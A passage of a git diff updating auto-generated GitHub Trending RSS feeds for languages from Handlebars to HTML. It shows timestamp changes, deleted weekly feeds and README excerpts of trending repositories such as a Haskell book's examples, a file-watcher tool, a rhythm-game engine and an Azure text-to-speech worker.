+0,0 @@ - - GitHub Handlebars Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:31Z - Weekly Trending of Handlebars in GitHub - - \ No newline at end of file diff --git a/haproxy/daily/index.xml b/haproxy/daily/index.xml index d9ec28df529..12c4c488f9f 100644 --- a/haproxy/daily/index.xml +++ b/haproxy/daily/index.xml @@ -1,7 +1,7 @@ GitHub HAProxy Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:54Z + 2023-10-30T01:28:56Z Daily Trending of HAProxy in GitHub \ No newline at end of file diff --git a/haproxy/weekly/index.xml b/haproxy/weekly/index.xml deleted file mode 100644 index 4bd70cad702..00000000000 --- a/haproxy/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HAProxy Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:29Z - Weekly Trending of HAProxy in GitHub - - \ No newline at end of file diff --git a/harbour/daily/index.xml b/harbour/daily/index.xml index 931f9b759af..cca51bd2d36 100644 --- a/harbour/daily/index.xml +++ b/harbour/daily/index.xml @@ -1,7 +1,7 @@ GitHub Harbour Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:53Z + 2023-10-30T01:28:55Z Daily Trending of Harbour in GitHub \ No newline at end of file diff --git a/harbour/weekly/index.xml b/harbour/weekly/index.xml deleted file mode 100644 index 3d1f47b317c..00000000000 --- a/harbour/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Harbour Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:32Z - Weekly Trending of Harbour in GitHub - - \ No newline at end of file diff --git a/haskell/daily/index.xml b/haskell/daily/index.xml index 6f8a65c330c..58e4dca0aac 100644 --- a/haskell/daily/index.xml +++ b/haskell/daily/index.xml @@ -1,14 +1,14 @@ GitHub Haskell Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:32:57Z + 2023-10-30T01:29:01Z Daily Trending of Haskell in GitHub - singpolyma/base58address - 2023-10-29T01:32:57Z - tag:github.com,2023-10-29:/singpolyma/base58address - - <p>Parsing and serialization for Base58 addresses (Bitcoin and Ripple)</p><hr><p>Datatypes with show and read instances that match the spec for Bitcoin and Ripple addresses.</p> + bravit/hid-examples + 2023-10-30T01:29:01Z + tag:github.com,2023-10-30:/bravit/hid-examples + + <p>Examples to accompany the book "Haskell in Depth"</p><hr><p>This is the sample code to accompany the book <em>Haskell in Depth</em> (Vitaly Bragilevsky, Manning Publications 2021).</p> <p>To get the source code on your system, you may want to clone this repository:</p> <pre><code>$ git clone https://github.com/bravit/hid-examples.git </code></pre> <p>To work with the code on your system, you need either:</p> <ul> <li><a href="http://haskellstack.org">Stack</a></li> <li><a href="https://www.haskell.org/downloads">A Minimal GHC installation</a></li> <li><a href="https://www.haskell.org/platform/">The Haskell Platform</a></li> </ul> <h2>Using <code>cabal</code> (3.0+)</h2> <p>To build the whole package, issue the following command:</p> <pre><code>$ cabal build </code></pre> <p>To build only one project component:</p> <pre><code>$ cabal build hello </code></pre> <p>To run a component:</p> <pre><code>$ cabal run hello Up to date Hello, world $ cabal -v0 run hello Hello, world $ cabal run stockquotes -- data/quotes.csv -c ... $ file chart.svg chart.svg: SVG Scalable Vector Graphics image </code></pre> <p>To explore a component in REPL:</p> <pre><code>$ cabal repl hello ... $ cabal repl stockquotes ghci&gt; :m StatReport ghci&gt; :type mean mean :: (Fractional a, Foldable t) =&gt; t a -&gt; a </code></pre> <p>To test the whole package:</p> <pre><code>$ cabal test </code></pre> <p>To run one test-suite:</p> <pre><code>$ cabal test radar-test </code></pre> <h2>Using Stack</h2> <p>To build:</p> <pre><code>stack build </code></pre> <p>To run:</p> <pre><code>stack exec &lt;executable&gt; [ -- &lt;arguments&gt;] </code></pre> <p>For example:</p> <pre><code>stack exec stockquotes -- data/quotes.csv -c ... $ file chart.svg chart.svg: SVG Scalable Vector Graphics image </code></pre> <p>To test:</p> <pre><code>stack test </code></pre> <p>To explore a component in REPL:</p> <pre><code>$ stack repl :stockquotes ghci&gt; :m StatReport ghci&gt; :t mean mean :: (Fractional a, Foldable t) =&gt; t a -&gt; a </code></pre> \ No newline at end of file diff --git a/haskell/weekly/index.xml b/haskell/weekly/index.xml deleted file mode 100644 index d305552a9a7..00000000000 --- a/haskell/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Haskell Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:35Z - Weekly Trending of Haskell in GitHub - - - larjo/MixView - 2023-10-29T01:53:35Z - tag:github.com,2023-10-29:/larjo/MixView - - <p>Mixmeister Playlist Viewer</p><hr><h1>Mixmeister Playlist Viewer</h1> <p>This is a simple program that parses Mixmeister playlists, which is a type of RIFF-file, into a stream of tokens.</p> <p>There are two structures that the RIFF-file can be parsed into: A flat structure, equvalent to RiffChunks = List(Data|List)*</p> <pre><code class="language-haskell">data Chunk = DataChunk Data | ListChunk List data RiffChunks = RiffChunks List [Chunk] </code></pre> <p>and a tree structure:</p> <pre><code class="language-haskell">data Tree = Leaf Data | Node Riff data Riff = Riff Format [Tree] </code></pre> - - - Frost-Lord/HaskMate - 2023-10-29T01:53:35Z - tag:github.com,2023-10-29:/Frost-Lord/HaskMate - - <p>HaskMate is a Haskell-based project monitoring and automation tool designed to continuously watches for changes in your Haskell source files and automatically triggers a rebuild and re-execution of the project whenever a modification is detected.</p><hr><h1>HaskMate: Your Haskell Development Companion</h1> <p><img src="https://raw.githubusercontent.com/Frost-Lord/HaskMate/main/Images/img.png" alt="HaskMate Preview"> <a href="https://github.com/Frost-Lord/HaskMate/raw/main/Images/intro.gif"><img src="https://raw.githubusercontent.com/Frost-Lord/HaskMate/main/Images/intro.gif" alt="Haskmate Video"></a></p> <p>HaskMate is a Haskell-based project monitoring and automation tool, designed to aid Haskell developers in streamlining their workflow. It continuously watches for changes in your Haskell source files and automatically triggers a rebuild and re-execution of the project whenever a modification is detected.</p> <p>Crafted for simplicity and efficiency, HaskMate keeps an eye on your file modifications, relieving you from the constant back-and-forth manual building process. It allows developers to focus on what matters the most: writing high-quality Haskell code. With built-in support for smart detection and colorful console outputs, HaskMate is more than just a development tool; it's your mate in Haskell development.</p> <p>Whether you're prototyping a new function, or debugging a complex piece of logic, HaskMate stands by you, ensuring your changes are instantly built and run, providing immediate feedback on your modifications. It's like having a vigilant companion by your side, dedicated to making your Haskell programming experience smoother and more enjoyable.</p> <p>Embrace the Haskell way with HaskMate!</p> <h2>Custom Settings (Optional)</h2> <ul> <li><strong>Delay</strong>: The time, in microseconds, until the program restarts after a change is made.</li> <li><strong>Ignore</strong>: Specify files to be ignored when changes are detected.</li> <li><strong>Script</strong>: Choose the script to run: <code>stack</code>, <code>ghc</code>, or <code>cabal</code>.</li> <li><strong>Custom Command</strong>: If you prefer a custom command to our preset scripts, enter it here.</li> </ul> <pre><code class="language-json">{ "delay": 1000000, "ignore": ["./logs.txt", "./src/loop.hs"], "script": "stack", "cmd": "echo hi &amp;&amp; stack build" // Optional field for a custom event command } </code></pre> <h2>Key Features</h2> <ul> <li><strong>Automatic File Watch</strong>: HaskMate tracks modifications to your Haskell source files in real-time. Once you save a change, it kicks into action.</li> <li><strong>Instant Build and Re-run</strong>: Upon detecting a file modification, HaskMate triggers a rebuild of your project, followed by an execution of the updated build.</li> <li><strong>Smart Detection</strong>: HaskMate employs an efficient change detection mechanism to ensure no unnecessary builds are run.</li> <li><strong>Colored Console Outputs</strong>: Keep track of what's happening through informative, color-coded console outputs.</li> <li><strong>Settings</strong>: Control what files you want to be monitored in the dir and the delay till it re-starts</li> </ul> <h2>Future Plans</h2> <ul> <li>Ability to customize the file watch pattern to include or exclude specific files or directories.</li> <li>Integration with popular Haskell test frameworks for automated testing.</li> </ul> <h2>Installation and Usage</h2> <ol> <li> <p><strong>Prerequisites:</strong></p> <ul> <li>Ensure that you have Haskell and Cabal installed on your system. You can download them from the official Haskell website: <a href="https://www.haskell.org/downloads">https://www.haskell.org/downloads</a>.</li> </ul> </li> <li> <p><strong>Clone the Haskmate Repository:</strong></p> <ul> <li>Download the latest version</li> <li>Click the Green code button</li> <li>Click Download ZIP</li> </ul> </li> <li> <p><strong>Install Haskmate Dependencies:</strong></p> <ul> <li>Run the following command to install the required dependencies using Cabal: <pre><code>cabal install --only-dependencies </code></pre> </li> </ul> </li> <li> <p><strong>Build Haskmate:</strong></p> <ul> <li>Once the dependencies are installed, build Haskmate by running the following command: <pre><code>stack build </code></pre> </li> </ul> </li> <li> <p><strong>Install Haskmate:</strong></p> <ul> <li>To install Haskmate on your system, execute the install.ps1 in powershell: <pre><code>Set-ExecutionPolicy RemoteSigned -Scope CurrentUser &amp;&amp; install.ps1 </code></pre> </li> </ul> </li> <li> <p><strong>Verify the Installation:</strong></p> <ul> <li>After a successful installation, you can check if Haskmate is working by running the following command: <pre><code>haskmate --version </code></pre> </li> <li>If the installation was successful, it will display the version number of Haskmate.</li> </ul> </li> </ol> <h2>Contributing</h2> <p>We warmly welcome and appreciate contributions from the community. To contribute:</p> <ol> <li>Fork the repository.</li> <li>Create a new branch for your feature or bug fix (<code>git checkout -b feature/YourFeature</code>).</li> <li>Make your changes.</li> <li>Commit your changes (<code>git commit -m 'Add some feature'</code>).</li> <li>Push to the branch (<code>git push origin feature/YourFeature</code>).</li> <li>Open a new Pull Request.</li> </ol> <p>Before submitting your Pull Request, please make sure to follow our coding style and conventions. Your contributions make HaskMate better - thank you!</p> - - - redelmann/e-zimod-server - 2023-10-29T01:53:35Z - tag:github.com,2023-10-29:/redelmann/e-zimod-server - - <p></p><hr><h1>Modeling and Simulation of Collaborative Energy Networks</h1> - - \ No newline at end of file diff --git a/haxe/daily/index.xml b/haxe/daily/index.xml index 73333206d13..90b0c9d332c 100644 --- a/haxe/daily/index.xml +++ b/haxe/daily/index.xml @@ -1,7 +1,14 @@ GitHub Haxe Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:11Z + 2023-10-30T01:29:13Z Daily Trending of Haxe in GitHub + + crowplexus/Forever-Engine + 2023-10-30T01:29:13Z + tag:github.com,2023-10-30:/crowplexus/Forever-Engine + + <p>WORK IN PROGRESS FNF Engine</p><hr><h1>Friday Night Funkin': Forever</h1> <p><img src="https://raw.githubusercontent.com/crowplexus/Forever-Engine/master/art/forever/foreverLogo-small.png" alt="logo"></p> <p>Forever is a complete recreation of <a href="https://github.com/FunkinCrew/Funkin">Friday Night Funkin'</a> which aims to bring a more customizable experience along with neat features for helping in the creation of mods.</p> <p>Currently, Forever is in a HUGE development phase, but may already contain the features its meant to, feedback will always be appreciated and we hope to bring a neat modding tool for the community.</p> <p>Forever is, and will always be, a Community-Driven Project as a love letter to it.</p> <p><strong>Forever is not associated with its previous owner</strong></p> <p><strong>This is a complete revamp made as a love letter to the community</strong></p> <p><strong>Not as a means to bring said previous owner back into it.</strong></p> <h1>NOTICE:</h1> <hr> <p>You need the LATEST version of haxe to be able to compile Forever, previous versions lack a lot of useful syntax stuff that forever makes use of, <a href="https://haxe.org/download/">Download Latest Haxe</a>, then run <code>setup.bat</code> (or <code>setup.sh</code> if you are on Linux or Mac)</p> <hr> <h1>FEATURES</h1> <hr> <ul> <li> <p>Current Features:</p> <ul> <li><input type="checkbox" checked disabled> <p>FULL Discord Rich Presence Support.</p> </li> <li><input type="checkbox" checked disabled> <p>Scripting Support with HScript.</p> </li> <li><input type="checkbox" checked disabled> <p>Modding:</p> <ul> <li><input type="checkbox" disabled> Being able to load Multiple Mods at once.</li> </ul> </li> <li><input type="checkbox" checked disabled> <p>Softcoded (allows you to add something of your own without modifying the source code):</p> <ul> <li><input type="checkbox" checked disabled> Characters.</li> <li><input type="checkbox" checked disabled> Note Skins.</li> <li><input type="checkbox" disabled> Story Mode Levels.</li> <li><input type="checkbox" checked disabled> Freeplay Songs.</li> <li><input type="checkbox" disabled> Discord RPC.</li> <li><input type="checkbox" disabled> Settings.</li> </ul> </li> </ul> </li> <li> <p>Planned Features:</p> <ul> <li>Note Coloring.</li> <li>More Freedom and Extensibility With Mods.</li> </ul> </li> </ul> <hr> <p>If you have any questions, please don't hesitate to friend request and DM me on Discord, @crowplexus</p> + \ No newline at end of file diff --git a/haxe/weekly/index.xml b/haxe/weekly/index.xml deleted file mode 100644 index eaed51f3191..00000000000 --- a/haxe/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Haxe Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:46Z - Weekly Trending of Haxe in GitHub - - - beihu235/NF-Engine-new - 2023-10-29T01:53:46Z - tag:github.com,2023-10-29:/beihu235/NF-Engine-new - - <p></p><hr><h1>Friday Night Funkin' - NF Engine</h1> <h2>Installation:</h2> <p>You must have <a href="https://haxe.org/download/version/4.2.5/">Haxe version 4.2.5</a>, seriously, stop using older or newer versions, it won't work!</p> <p>open up a Command Prompt/PowerShell or Terminal, type <code>haxelib install hmm</code></p> <p>after it finishes, simply type <code>haxelib run hmm install</code> in order to install all the needed libraries for <em>Psych Engine!</em></p> <p>If the compiler gives an error saying that hxCodec cannot be found read this issue to fix it: ShadowMario/FNF-PsychEngine#12770</p> <h2>Customization:</h2> <p>if you wish to disable things like <em>Lua Scripts</em> or <em>Video Cutscenes</em>, you can read over to <code>Project.xml</code></p> <p>inside <code>Project.xml</code>, you will find several variables to customize Psych Engine to your liking</p> <p>to start you off, disabling Videos should be simple, simply Delete the line <code>"VIDEOS_ALLOWED"</code> or comment it out by wrapping the line in XML-like comments, like this <code>&lt;!-- YOUR_LINE_HERE --&gt;</code></p> <p>same goes for <em>Lua Scripts</em>, comment out or delete the line with <code>LUA_ALLOWED</code>, this and other customization options are all available within the <code>Project.xml</code> file</p> <h2>NF Engine Credits:</h2> <ul> <li>NF|Beihu - Creator</li> </ul> <h2>Psych Engine Credits:</h2> <ul> <li>Shadow Mario - Programmer</li> <li>RiverOaken - Artist</li> <li>Yoshubs - Assistant Programmer</li> </ul> <h3>Special Thanks</h3> <ul> <li>bbpanzu - Ex-Programmer</li> <li>Yoshubs - New Input System</li> <li>SqirraRNG - Crash Handler and Base code for Chart Editor's Waveform</li> <li>KadeDev - Fixed some cool stuff on Chart Editor and other PRs</li> <li>iFlicky - Composer of Psync and Tea Time, also made the Dialogue Sounds</li> <li>PolybiusProxy - .MP4 Video Loader Library (hxCodec)</li> <li>Keoiki - Note Splash Animations</li> <li>Smokey - Sprite Atlas Support</li> <li>Nebula the Zorua - LUA JIT Fork and some Lua reworks</li> </ul> <hr> <h1>Features</h1> <h2>Attractive animated dialogue boxes:</h2> <p><img src="https://user-images.githubusercontent.com/44785097/127706669-71cd5cdb-5c2a-4ecc-871b-98a276ae8070.gif" alt=""></p> <h2>Mod Support</h2> <ul> <li>Probably one of the main points of this engine, you can code in .lua files outside of the source code, making your own weeks without even messing with the source!</li> <li>Comes with a Mod Organizing/Disabling Menu.</li> </ul> <h2>Atleast one change to every week:</h2> <h3>Week 1:</h3> <ul> <li>New Dad Left sing sprite</li> <li>Unused stage lights are now used</li> <li>Dad Battle has a spotlight effect for the breakdown</li> </ul> <h3>Week 2:</h3> <ul> <li>Both BF and Skid &amp; Pump does "Hey!" animations</li> <li>Thunders does a quick light flash and zooms the camera in slightly</li> <li>Added a quick transition/cutscene to Monster</li> </ul> <h3>Week 3:</h3> <ul> <li>BF does "Hey!" during Philly Nice</li> <li>Blammed has a cool new colors flash during that sick part of the song</li> </ul> <h3>Week 4:</h3> <ul> <li>Better hair physics for Mom/Boyfriend (Maybe even slightly better than Week 7's <span>👀</span>)</li> <li>Henchmen die during all songs. Yeah :(</li> </ul> <h3>Week 5:</h3> <ul> <li>Bottom Boppers and GF does "Hey!" animations during Cocoa and Eggnog</li> <li>On Winter Horrorland, GF bops her head slower in some parts of the song.</li> </ul> <h3>Week 6:</h3> <ul> <li>On Thorns, the HUD is hidden during the cutscene</li> <li>Also there's the Background girls being spooky during the "Hey!" parts of the Instrumental</li> </ul> <h2>Cool new Chart Editor changes and countless bug fixes</h2> <p><img src="https://github.com/ShadowMario/FNF-PsychEngine/raw/main/docs/img/chart.png?raw=true" alt=""></p> <ul> <li>You can now chart "Event" notes, which are bookmarks that trigger specific actions that usually were hardcoded on the vanilla version of the game.</li> <li>Your song's BPM can now have decimal values</li> <li>You can manually adjust a Note's strum time if you're really going for milisecond precision</li> <li>You can change a note's type on the Editor, it comes with five example types: <ul> <li>Alt Animation: Forces an alt animation to play, useful for songs like Ugh/Stress</li> <li>Hey: Forces a "Hey" animation instead of the base Sing animation, if Boyfriend hits this note, Girlfriend will do a "Hey!" too.</li> <li>Hurt Notes: If Boyfriend hits this note, he plays a miss animation and loses some health.</li> <li>GF Sing: Rather than the character hitting the note and singing, Girlfriend sings instead.</li> <li>No Animation: Character just hits the note, no animation plays.</li> </ul> </li> </ul> <h2>Multiple editors to assist you in making your own Mod</h2> <p><img src="https://user-images.githubusercontent.com/44785097/144629914-1fe55999-2f18-4cc1-bc70-afe616d74ae5.png" alt="Screenshot_3"></p> <ul> <li>Working both for Source code modding and Downloaded builds!</li> </ul> <h2>Story mode menu rework:</h2> <p><img src="https://i.imgur.com/UB2EKpV.png" alt=""></p> <ul> <li>Added a different BG to every song (less Tutorial)</li> <li>All menu characters are now in individual spritesheets, makes modding it easier.</li> </ul> <h2>Credits menu</h2> <p><img src="https://user-images.githubusercontent.com/44785097/144632635-f263fb22-b879-4d6b-96d6-865e9562b907.png" alt="Screenshot_1"></p> <ul> <li>You can add a head icon, name, description and a Redirect link for when the player presses Enter while the item is currently selected.</li> </ul> <h2>Awards/Achievements</h2> <ul> <li>The engine comes with 16 example achievements that you can mess with and learn how it works (Check Achievements.hx and search for "checkForAchievement" on PlayState.hx)</li> </ul> <h2>Options menu:</h2> <ul> <li>You can change Note colors, Delay and Combo Offset, Controls and Preferences there.</li> <li>On Preferences you can toggle Downscroll, Middlescroll, Anti-Aliasing, Framerate, Low Quality, Note Splashes, Flashing Lights, etc.</li> </ul> <h2>Other gameplay features:</h2> <ul> <li>When the enemy hits a note, their strum note also glows.</li> <li>Lag doesn't impact the camera movement and player icon scaling anymore.</li> <li>Some stuff based on Week 7's changes has been put in (Background colors on Freeplay, Note splashes)</li> <li>You can reset your Score on Freeplay/Story Mode by pressing Reset button.</li> <li>You can listen to a song or adjust Scroll Speed/Damage taken/etc. on Freeplay by pressing Space.</li> <li>You can enable "Combo Stacking" in Gameplay Options. This causes the combo sprites to just be one sprite with an animation rather than sprites spawning each note hit.</li> </ul> - - \ No newline at end of file diff --git a/hcl/daily/index.xml b/hcl/daily/index.xml index 56d60b56fbd..497607eb69d 100644 --- a/hcl/daily/index.xml +++ b/hcl/daily/index.xml @@ -1,7 +1,28 @@ GitHub HCL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:11Z + 2023-10-30T01:29:13Z Daily Trending of HCL in GitHub + + astroicers/outline-terraform-aws + 2023-10-30T01:29:13Z + tag:github.com,2023-10-30:/astroicers/outline-terraform-aws + + <p>This project aims to deploy the Outline Wiki on AWS using Terraform and Ansible.</p><hr> + + + goodard/code9 + 2023-10-30T01:29:13Z + tag:github.com,2023-10-30:/goodard/code9 + + <p>Levi9 code9 project</p><hr> + + + Azure/alz-terraform-accelerator + 2023-10-30T01:29:13Z + tag:github.com,2023-10-30:/Azure/alz-terraform-accelerator + + <p>Azure Landing Zones Terraform Accelerator</p><hr> + \ No newline at end of file diff --git a/hcl/weekly/index.xml b/hcl/weekly/index.xml deleted file mode 100644 index 3bd9706f7c7..00000000000 --- a/hcl/weekly/index.xml +++ /dev/null @@ -1,21 +0,0 @@ - - GitHub HCL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:45Z - Weekly Trending of HCL in GitHub - - - DataDog/tfc-workshop - 2023-10-29T01:53:45Z - tag:github.com,2023-10-29:/DataDog/tfc-workshop - - <p></p><hr> - - - terraform-aws-modules/terraform-aws-sqs - 2023-10-29T01:53:45Z - tag:github.com,2023-10-29:/terraform-aws-modules/terraform-aws-sqs - - <p>Terraform module which creates SQS resources on AWS 🇺🇦</p><hr> - - \ No newline at end of file diff --git a/hiveql/daily/index.xml b/hiveql/daily/index.xml index 5ac4dd8afba..65d1e1382a5 100644 --- a/hiveql/daily/index.xml +++ b/hiveql/daily/index.xml @@ -1,7 +1,7 @@ GitHub HiveQL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:05Z + 2023-10-30T01:29:08Z Daily Trending of HiveQL in GitHub \ No newline at end of file diff --git a/hiveql/weekly/index.xml b/hiveql/weekly/index.xml deleted file mode 100644 index c4699975c21..00000000000 --- a/hiveql/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HiveQL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:43Z - Weekly Trending of HiveQL in GitHub - - \ No newline at end of file diff --git a/hlsl/daily/index.xml b/hlsl/daily/index.xml index 6d24aaabf22..5c9c498b9fb 100644 --- a/hlsl/daily/index.xml +++ b/hlsl/daily/index.xml @@ -1,7 +1,7 @@ GitHub HLSL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:06Z + 2023-10-30T01:29:11Z Daily Trending of HLSL in GitHub \ No newline at end of file diff --git a/hlsl/weekly/index.xml b/hlsl/weekly/index.xml deleted file mode 100644 index 2dc31fe4286..00000000000 --- a/hlsl/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HLSL Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:42Z - Weekly Trending of HLSL in GitHub - - \ No newline at end of file diff --git a/holyc/daily/index.xml b/holyc/daily/index.xml index 1e9910818e1..c98115bf2a0 100644 --- a/holyc/daily/index.xml +++ b/holyc/daily/index.xml @@ -1,7 +1,7 @@ GitHub HolyC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:14Z + 2023-10-30T01:29:17Z Daily Trending of HolyC in GitHub \ No newline at end of file diff --git a/holyc/weekly/index.xml b/holyc/weekly/index.xml deleted file mode 100644 index 3823ab99a71..00000000000 --- a/holyc/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HolyC Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:50Z - Weekly Trending of HolyC in GitHub - - \ No newline at end of file diff --git a/hoon/daily/index.xml b/hoon/daily/index.xml index 48ea2be923e..b6593334c12 100644 --- a/hoon/daily/index.xml +++ b/hoon/daily/index.xml @@ -1,7 +1,7 @@ GitHub hoon Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:15Z + 2023-10-30T01:29:15Z Daily Trending of hoon in GitHub \ No newline at end of file diff --git a/hoon/weekly/index.xml b/hoon/weekly/index.xml deleted file mode 100644 index f0c6775321c..00000000000 --- a/hoon/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub hoon Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:49Z - Weekly Trending of hoon in GitHub - - \ No newline at end of file diff --git a/html+ecr/daily/index.xml b/html+ecr/daily/index.xml index cb4c98d665c..420d038ae82 100644 --- a/html+ecr/daily/index.xml +++ b/html+ecr/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTML+ECR Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:17Z + 2023-10-30T01:29:19Z Daily Trending of HTML+ECR in GitHub \ No newline at end of file diff --git a/html+ecr/weekly/index.xml b/html+ecr/weekly/index.xml deleted file mode 100644 index 57ec6d8f145..00000000000 --- a/html+ecr/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HTML+ECR Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:53Z - Weekly Trending of HTML+ECR in GitHub - - \ No newline at end of file diff --git a/html+eex/daily/index.xml b/html+eex/daily/index.xml index 704e2e6b0ff..b797109d6c7 100644 --- a/html+eex/daily/index.xml +++ b/html+eex/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTML+EEX Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:19Z + 2023-10-30T01:29:18Z Daily Trending of HTML+EEX in GitHub \ No newline at end of file diff --git a/html+eex/weekly/index.xml b/html+eex/weekly/index.xml deleted file mode 100644 index 9c9f6fe3217..00000000000 --- a/html+eex/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HTML+EEX Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:53:52Z - Weekly Trending of HTML+EEX in GitHub - - \ No newline at end of file diff --git a/html+erb/daily/index.xml b/html+erb/daily/index.xml index 874f259d7cd..178f9d7c9e4 100644 --- a/html+erb/daily/index.xml +++ b/html+erb/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTML+ERB Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:49Z + 2023-10-30T01:29:39Z Daily Trending of HTML+ERB in GitHub \ No newline at end of file diff --git a/html+erb/weekly/index.xml b/html+erb/weekly/index.xml deleted file mode 100644 index 63900f89164..00000000000 --- a/html+erb/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HTML+ERB Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:19Z - Weekly Trending of HTML+ERB in GitHub - - \ No newline at end of file diff --git a/html+php/daily/index.xml b/html+php/daily/index.xml index 1842009df0d..2471c64f412 100644 --- a/html+php/daily/index.xml +++ b/html+php/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTML+PHP Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:48Z + 2023-10-30T01:29:40Z Daily Trending of HTML+PHP in GitHub \ No newline at end of file diff --git a/html+php/weekly/index.xml b/html+php/weekly/index.xml deleted file mode 100644 index eb287523888..00000000000 --- a/html+php/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HTML+PHP Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:19Z - Weekly Trending of HTML+PHP in GitHub - - \ No newline at end of file diff --git a/html+razor/daily/index.xml b/html+razor/daily/index.xml index ed98c9dd78f..ca4dac55f63 100644 --- a/html+razor/daily/index.xml +++ b/html+razor/daily/index.xml @@ -1,7 +1,7 @@ GitHub HTML+Razor Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:50Z + 2023-10-30T01:29:41Z Daily Trending of HTML+Razor in GitHub \ No newline at end of file diff --git a/html+razor/weekly/index.xml b/html+razor/weekly/index.xml deleted file mode 100644 index b2563c3970e..00000000000 --- a/html+razor/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub HTML+Razor Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:54:17Z - Weekly Trending of HTML+Razor in GitHub - - \ No newline at end of file diff --git a/html/daily/index.xml b/html/daily/index.xml index b54ed0f4d8c..b71ffafa25e 100644 --- a/html/daily/index.xml +++ b/html/daily/index.xml @@ -1,28 +1,28 @@ GitHub HTML Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:33:22Z + 2023-10-30T01:29:22Z Daily Trending of HTML in GitHub - i-am-alice/2nd-devs - 2023-10-29T01:33:22Z - tag:github.com,2023-10-29:/i-am-alice/2nd-devs - - <p></p><hr><h1>aidevs2</h1> <p>To install dependencies:</p> <pre><code class="language-bash">bun install </code></pre> <p>To run:</p> <pre><code class="language-bash">bun run index.ts </code></pre> <p>This project was created using <code>bun init</code> in bun v1.0.0. <a href="https://bun.sh">Bun</a> is a fast all-in-one JavaScript runtime.</p> + unhackableandy/my-other-awesome-site + 2023-10-30T01:29:22Z + tag:github.com,2023-10-30:/unhackableandy/my-other-awesome-site + + <p></p><hr><h1>my-other-awesome-site</h1> <p>My other site, the one I made after "the incident."</p> - x-dr/tts - 2023-10-29T01:33:22Z - tag:github.com,2023-10-29:/x-dr/tts - - <p>微软azure文本转语音 音频下载</p><hr><h2>微软azure文本转语音 音频下载</h2> <p><em>Demo</em> : <a href="https://tts.131213.xyz/">https://tts.131213.xyz/</a></p> <blockquote> <p><em>本文由GitHub Copilot 生成</em></p> </blockquote> <h3>1. 介绍</h3> <p>本项目是基于微软azure的文本转语音服务,通过调用微软azure的api接口,将文本转换为语音,然后下载到本地。</p> <h3>2. 安装说明</h3> <h4>利用Cloudflare Workers部署</h4> <ol> <li> <p>新建一个 Cloudflare Worker</p> </li> <li> <p>将 <a href="https://github.com/x-dr/tts/raw/main/cf_worker.js">cf_worker.js</a> 中的代码复制到 Cloudflare Worker 中并部署即可</p> </li> </ol> <img src="https://img1.131213.xyz/file/23f45cf2a989a13842839.png" width="600px"> <blockquote> <p>修改前端</p> </blockquote> <p><code>https://raw.githubusercontent.com/x-dr/cf_pages/main/tts.html</code> 是前端代码 ,想修改的自己修改cf_worker.js中的下面行就行</p> <pre><code class="language-javascript"> const html = await fetch("https://raw.githubusercontent.com/x-dr/cf_pages/main/tts.html") </code></pre> <hr> <h4>利用docker部署</h4> <ol> <li>下载docker镜像</li> </ol> <pre><code class="language-bash">docker pull gindex/tts-azure:latest </code></pre> <ol start="2"> <li>运行容器</li> </ol> <pre><code class="language-bash">docker run -itd \ --name tts \ -p 3035:3035 \ --restart=always \ gindex/tts-azure:latest </code></pre> <ol start="3"> <li>访问地址</li> </ol> 